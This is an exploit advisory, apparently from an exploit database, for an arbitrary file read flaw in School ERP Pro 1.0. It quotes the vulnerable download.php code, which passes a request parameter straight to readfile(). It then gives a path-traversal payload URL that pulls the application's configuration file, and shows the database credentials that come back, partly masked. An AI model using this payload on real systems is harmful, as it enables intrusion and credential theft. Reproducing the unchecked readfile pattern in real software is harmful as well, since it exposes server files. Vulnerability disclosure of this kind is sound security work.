School erp pro 1.0 arbitrary file read Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-04-29 | Type : webapps | Platform : php

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[+] Code ...

# Exploit Title: School ERP Pro 1.0 - Arbitrary File Read
# Date: 2020-04-28
# Author: Besim ALTINOK
# Vendor Homepage: http://arox.in
# Software Link: https://sourceforge.net/projects/school-erp-ultimate/
# Version: latest version
# Tested on: Xampp
# Credit: İsmail BOZKURT
# CVE: N/A

Vulnerable code: (/student_staff/download.php)
- File Name: download.php
- Content of the download.php

<?php
if ( isset($_REQUEST["document"])&&$_REQUEST["document"]!="") {
$file = $_REQUEST['document'];
header("Content-type: application/force-download");
header("Content-Transfer-Encoding: Binary");
header("Content-length: ".filesize($file));
header("Content-disposition: attachment; filename=\"".$file."\"");
readfile($file);
exit;
}
?>

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*Payload:*
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http://localhost/school_erp/student_staff/download.php?document=../includes/constants.inc.php
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*After run payload: (we accessed of the file content)*
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<?php

define('DB_SERVER', 'localhost');
define('DB_SERVER_USERNAME', 'aroxi********');
define('DB_SERVER_PASSWORD', 'erp**********');
define('DB_DATABASE', 'aroxi****************');
?>